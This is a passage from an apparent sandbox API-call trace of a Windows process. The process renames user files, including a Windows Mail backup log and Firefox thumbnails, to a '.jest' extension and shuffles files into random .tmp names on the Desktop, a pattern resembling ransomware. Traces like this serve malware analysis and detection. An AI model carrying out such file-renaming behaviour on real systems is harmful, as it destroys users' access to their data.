lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.158] GetTickCount () returned 0x1152f2c [0130.159] IsWindowVisible (hWnd=0x30268) returned 0 [0130.159] Sleep (dwMilliseconds=0x0) [0130.159] GetFullPathNameA (in: lpFileName="oK5JuKsiHX87X8Bt6dTLvYvsDy4xCuBcml5pIswetVRiPhLwgXVxDVgnJByqYTDGG_UoY5fcME-Mvm1xtXW2C8J3pfduA0-drKmdq.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oK5JuKsiHX87X8Bt6dTLvYvsDy4xCuBcml5pIswetVRiPhLwgXVxDVgnJByqYTDGG_UoY5fcME-Mvm1xtXW2C8J3pfduA0-drKmdq.tmp", lpFilePart=0x18e708*="oK5JuKsiHX87X8Bt6dTLvYvsDy4xCuBcml5pIswetVRiPhLwgXVxDVgnJByqYTDGG_UoY5fcME-Mvm1xtXW2C8J3pfduA0-drKmdq.tmp") returned 0x8f [0130.159] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", lpFilePart=0x18e708*="Garden.htm") returned 0x4b [0130.160] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oK5JuKsiHX87X8Bt6dTLvYvsDy4xCuBcml5pIswetVRiPhLwgXVxDVgnJByqYTDGG_UoY5fcME-Mvm1xtXW2C8J3pfduA0-drKmdq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ok5juksihx87x8bt6dtlvyvsdy4xcubcml5piswetvriphlwgxvxdvgnjbyqytdgg_uoy5fcme-mvm1xtxw2c8j3pfdua0-drkmdq.tmp")) returned 0 [0130.160] GetLastError () returned 0x2 [0130.160] GetLastError () returned 0x2 [0130.160] SetLastError (dwErrCode=0x2) [0130.160] GetLastError () returned 0x2 [0130.160] SetLastError (dwErrCode=0x2) [0130.160] GetLastError () returned 0x2 [0130.160] SetLastError (dwErrCode=0x2) [0130.160] GetFullPathNameA (in: lpFileName="oK5JuKsiHX87X8Bt6dTLvYvsDy4xCuBcml5pIswetVRiPhLwgXVxDVgnJByqYTDGG_UoY5fcME-Mvm1xtXW2C8J3pfduA0-drKmdq.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oK5JuKsiHX87X8Bt6dTLvYvsDy4xCuBcml5pIswetVRiPhLwgXVxDVgnJByqYTDGG_UoY5fcME-Mvm1xtXW2C8J3pfduA0-drKmdq.tmp", lpFilePart=0x18e6e4*="oK5JuKsiHX87X8Bt6dTLvYvsDy4xCuBcml5pIswetVRiPhLwgXVxDVgnJByqYTDGG_UoY5fcME-Mvm1xtXW2C8J3pfduA0-drKmdq.tmp") returned 0x8f [0130.160] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oK5JuKsiHX87X8Bt6dTLvYvsDy4xCuBcml5pIswetVRiPhLwgXVxDVgnJByqYTDGG_UoY5fcME-Mvm1xtXW2C8J3pfduA0-drKmdq.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4a354b6f, cFileName="uKsiHX87X8Bt6dTLvYvsDy4xCuBcml5pIswetVRiPhLwgXVxDVgnJByqYTDGG_UoY5fcME-Mvm1xtXW2C8J3pfduA0-drKmdq.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.161] GetLastError () returned 0x2 [0130.161] GetLastError () returned 0x2 [0130.161] SetLastError (dwErrCode=0x2) [0130.162] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.162] CoFreeUnusedLibraries () [0130.162] GetTickCount () returned 0x1152f3b [0130.162] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.162] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.162] GetTickCount () returned 0x1152f3b [0130.162] IsWindowVisible (hWnd=0x30268) returned 0 [0130.162] Sleep (dwMilliseconds=0x0) [0130.165] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log.jest")) returned 1 [0130.168] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log", lpFilePart=0x18e6d8*="edb00001.log") returned 0x4d [0130.168] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.169] GetLastError () returned 0x2 [0130.169] VarBstrFromR4 (in: fltIn=0x479446fd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.98") returned 0x0 [0130.169] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.169] CoFreeUnusedLibraries () [0130.169] GetTickCount () returned 0x1152f3b [0130.169] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.169] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.170] GetTickCount () returned 0x1152f3b [0130.170] IsWindowVisible (hWnd=0x30268) returned 0 [0130.170] Sleep (dwMilliseconds=0x0) [0130.170] GetFullPathNameA (in: lpFileName="F5CqYIYwPcRhzOeqOF4TcOEL01ToQC5QbU0sd0cyyKwEvGzuGdh2TrQu7EROLljxv5G9h00JhVznBsiSVmeNEBz3Owpb8D14PiMw.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F5CqYIYwPcRhzOeqOF4TcOEL01ToQC5QbU0sd0cyyKwEvGzuGdh2TrQu7EROLljxv5G9h00JhVznBsiSVmeNEBz3Owpb8D14PiMw.tmp", lpFilePart=0x18e708*="F5CqYIYwPcRhzOeqOF4TcOEL01ToQC5QbU0sd0cyyKwEvGzuGdh2TrQu7EROLljxv5G9h00JhVznBsiSVmeNEBz3Owpb8D14PiMw.tmp") returned 0x8e [0130.170] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log", lpFilePart=0x18e708*="edb00001.log") returned 0x4d [0130.171] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F5CqYIYwPcRhzOeqOF4TcOEL01ToQC5QbU0sd0cyyKwEvGzuGdh2TrQu7EROLljxv5G9h00JhVznBsiSVmeNEBz3Owpb8D14PiMw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f5cqyiywpcrhzoeqof4tcoel01toqc5qbu0sd0cyykwevgzugdh2trqu7erolljxv5g9h00jhvznbsisvmenebz3owpb8d14pimw.tmp")) returned 0 [0130.171] GetLastError () returned 0x2 [0130.171] GetLastError () returned 0x2 [0130.171] SetLastError (dwErrCode=0x2) [0130.171] GetLastError () returned 0x2 [0130.171] SetLastError (dwErrCode=0x2) [0130.171] GetLastError () returned 0x2 [0130.171] SetLastError (dwErrCode=0x2) [0130.171] GetFullPathNameA (in: lpFileName="F5CqYIYwPcRhzOeqOF4TcOEL01ToQC5QbU0sd0cyyKwEvGzuGdh2TrQu7EROLljxv5G9h00JhVznBsiSVmeNEBz3Owpb8D14PiMw.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F5CqYIYwPcRhzOeqOF4TcOEL01ToQC5QbU0sd0cyyKwEvGzuGdh2TrQu7EROLljxv5G9h00JhVznBsiSVmeNEBz3Owpb8D14PiMw.tmp", lpFilePart=0x18e6e4*="F5CqYIYwPcRhzOeqOF4TcOEL01ToQC5QbU0sd0cyyKwEvGzuGdh2TrQu7EROLljxv5G9h00JhVznBsiSVmeNEBz3Owpb8D14PiMw.tmp") returned 0x8e [0130.171] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F5CqYIYwPcRhzOeqOF4TcOEL01ToQC5QbU0sd0cyyKwEvGzuGdh2TrQu7EROLljxv5G9h00JhVznBsiSVmeNEBz3Owpb8D14PiMw.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x71433546, cFileName="YIYwPcRhzOeqOF4TcOEL01ToQC5QbU0sd0cyyKwEvGzuGdh2TrQu7EROLljxv5G9h00JhVznBsiSVmeNEBz3Owpb8D14PiMw.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.172] GetLastError () returned 0x2 [0130.172] GetLastError () returned 0x2 [0130.172] SetLastError (dwErrCode=0x2) [0130.174] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.174] CoFreeUnusedLibraries () [0130.174] GetTickCount () returned 0x1152f3b [0130.174] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.174] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.174] GetTickCount () returned 0x1152f3b [0130.175] IsWindowVisible (hWnd=0x30268) returned 0 [0130.175] Sleep (dwMilliseconds=0x0) [0130.176] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.jest")) returned 1 [0130.183] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png", lpFilePart=0x18e6d8*="4cc87c1409819bf06f42b782d4902b2f.png") returned 0x85 [0130.183] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.183] GetLastError () returned 0x2 [0130.183] VarBstrFromR4 (in: fltIn=0x479446ff, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.99") returned 0x0 [0130.184] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.184] CoFreeUnusedLibraries () [0130.184] GetTickCount () returned 0x1152f4b [0130.184] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.184] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.184] GetTickCount () returned 0x1152f4b [0130.184] IsWindowVisible (hWnd=0x30268) returned 0 [0130.184] Sleep (dwMilliseconds=0x0) [0130.184] GetFullPathNameA (in: lpFileName="tvGEOCrOjytfPqOGvTFz77zEndR2uEtK9R2oYndkS_6PKYCgP2ChI7BlfcE_C8beekzelCDxqgmQjzEJTqOk3qx3o xosIBiV6bf_.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tvGEOCrOjytfPqOGvTFz77zEndR2uEtK9R2oYndkS_6PKYCgP2ChI7BlfcE_C8beekzelCDxqgmQjzEJTqOk3qx3o xosIBiV6bf_.tmp", lpFilePart=0x18e708*="tvGEOCrOjytfPqOGvTFz77zEndR2uEtK9R2oYndkS_6PKYCgP2ChI7BlfcE_C8beekzelCDxqgmQjzEJTqOk3qx3o xosIBiV6bf_.tmp") returned 0x8f [0130.185] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png", lpFilePart=0x18e708*="4cc87c1409819bf06f42b782d4902b2f.png") returned 0x85 [0130.185] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tvGEOCrOjytfPqOGvTFz77zEndR2uEtK9R2oYndkS_6PKYCgP2ChI7BlfcE_C8beekzelCDxqgmQjzEJTqOk3qx3o xosIBiV6bf_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tvgeocrojytfpqogvtfz77zendr2uetk9r2oyndks_6pkycgp2chi7blfce_c8beekzelcdxqgmqjzejtqok3qx3o xosibiv6bf_.tmp")) returned 0 [0130.185] GetLastError () returned 0x2 [0130.185] GetLastError () returned 0x2 [0130.185] SetLastError (dwErrCode=0x2) [0130.185] GetLastError () returned 0x2 [0130.185] SetLastError (dwErrCode=0x2) [0130.185] GetLastError () returned 0x2 [0130.186] SetLastError (dwErrCode=0x2) [0130.186] GetFullPathNameA (in: lpFileName="tvGEOCrOjytfPqOGvTFz77zEndR2uEtK9R2oYndkS_6PKYCgP2ChI7BlfcE_C8beekzelCDxqgmQjzEJTqOk3qx3o xosIBiV6bf_.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tvGEOCrOjytfPqOGvTFz77zEndR2uEtK9R2oYndkS_6PKYCgP2ChI7BlfcE_C8beekzelCDxqgmQjzEJTqOk3qx3o xosIBiV6bf_.tmp", lpFilePart=0x18e6e4*="tvGEOCrOjytfPqOGvTFz77zEndR2uEtK9R2oYndkS_6PKYCgP2ChI7BlfcE_C8beekzelCDxqgmQjzEJTqOk3qx3o xosIBiV6bf_.tmp") returned 0x8f [0130.186] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tvGEOCrOjytfPqOGvTFz77zEndR2uEtK9R2oYndkS_6PKYCgP2ChI7BlfcE_C8beekzelCDxqgmQjzEJTqOk3qx3o xosIBiV6bf_.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x45477674, cFileName="OCrOjytfPqOGvTFz77zEndR2uEtK9R2oYndkS_6PKYCgP2ChI7BlfcE_C8beekzelCDxqgmQjzEJTqOk3qx3o xosIBiV6bf_.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.186] GetLastError () returned 0x2 [0130.186] GetLastError () returned 0x2 [0130.186] SetLastError (dwErrCode=0x2) [0130.187] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.187] CoFreeUnusedLibraries () [0130.187] GetTickCount () returned 0x1152f4b [0130.187] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.187] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.187] GetTickCount () returned 0x1152f4b [0130.187] IsWindowVisible (hWnd=0x30268) returned 0 [0130.187] Sleep (dwMilliseconds=0x0) [0130.188] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.jest")) returned 1 [0130.189] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", lpFilePart=0x18e6d8*="ba182bcd131f1f3c6b6fbbb1ba078341.png") returned 0x85 [0130.189] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.189] GetLastError () returned 0x2 [0130.191] VarBstrFromR4 (in: fltIn=0x479446ff, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.99") returned 0x0 [0130.191] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.191] CoFreeUnusedLibraries () [0130.191] GetTickCount () returned 0x1152f4b [0130.191] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.191] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.191] GetTickCount () returned 0x1152f4b [0130.191] IsWindowVisible (hWnd=0x30268) returned 0 [0130.191] Sleep (dwMilliseconds=0x0) [0130.192] GetFullPathNameA (in: lpFileName="O-v7hja3hxOUCCG5BIzLcqvjS-ZC6LgIrW0GVWkltmyZWTfAEMzInlFjo0TCq-VZWdTZP2hav2IYGjShM_mqfxclXh0kd3syNAoX.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O-v7hja3hxOUCCG5BIzLcqvjS-ZC6LgIrW0GVWkltmyZWTfAEMzInlFjo0TCq-VZWdTZP2hav2IYGjShM_mqfxclXh0kd3syNAoX.tmp", lpFilePart=0x18e708*="O-v7hja3hxOUCCG5BIzLcqvjS-ZC6LgIrW0GVWkltmyZWTfAEMzInlFjo0TCq-VZWdTZP2hav2IYGjShM_mqfxclXh0kd3syNAoX.tmp") returned 0x8e [0130.192] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png", lpFilePart=0x18e708*="ba182bcd131f1f3c6b6fbbb1ba078341.png") returned 0x85 [0130.192] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O-v7hja3hxOUCCG5BIzLcqvjS-ZC6LgIrW0GVWkltmyZWTfAEMzInlFjo0TCq-VZWdTZP2hav2IYGjShM_mqfxclXh0kd3syNAoX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o-v7hja3hxouccg5bizlcqvjs-zc6lgirw0gvwkltmyzwtfaemzinlfjo0tcq-vzwdtzp2hav2iygjshm_mqfxclxh0kd3synaox.tmp")) returned 0 [0130.193] GetLastError () returned 0x2 [0130.193] GetLastError () returned 0x2 [0130.193] SetLastError (dwErrCode=0x2) [0130.193] GetLastError () returned 0x2 [0130.193] SetLastError (dwErrCode=0x2) [0130.193] GetLastError () returned 0x2 [0130.193] SetLastError (dwErrCode=0x2) [0130.193] GetFullPathNameA (in: lpFileName="O-v7hja3hxOUCCG5BIzLcqvjS-ZC6LgIrW0GVWkltmyZWTfAEMzInlFjo0TCq-VZWdTZP2hav2IYGjShM_mqfxclXh0kd3syNAoX.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O-v7hja3hxOUCCG5BIzLcqvjS-ZC6LgIrW0GVWkltmyZWTfAEMzInlFjo0TCq-VZWdTZP2hav2IYGjShM_mqfxclXh0kd3syNAoX.tmp", lpFilePart=0x18e6e4*="O-v7hja3hxOUCCG5BIzLcqvjS-ZC6LgIrW0GVWkltmyZWTfAEMzInlFjo0TCq-VZWdTZP2hav2IYGjShM_mqfxclXh0kd3syNAoX.tmp") returned 0x8e [0130.193] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O-v7hja3hxOUCCG5BIzLcqvjS-ZC6LgIrW0GVWkltmyZWTfAEMzInlFjo0TCq-VZWdTZP2hav2IYGjShM_mqfxclXh0kd3syNAoX.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x37762d4f, cFileName="hja3hxOUCCG5BIzLcqvjS-ZC6LgIrW0GVWkltmyZWTfAEMzInlFjo0TCq-VZWdTZP2hav2IYGjShM_mqfxclXh0kd3syNAoX.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.194] GetLastError () returned 0x2 [0130.194] GetLastError () returned 0x2 [0130.194] SetLastError (dwErrCode=0x2) [0130.203] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 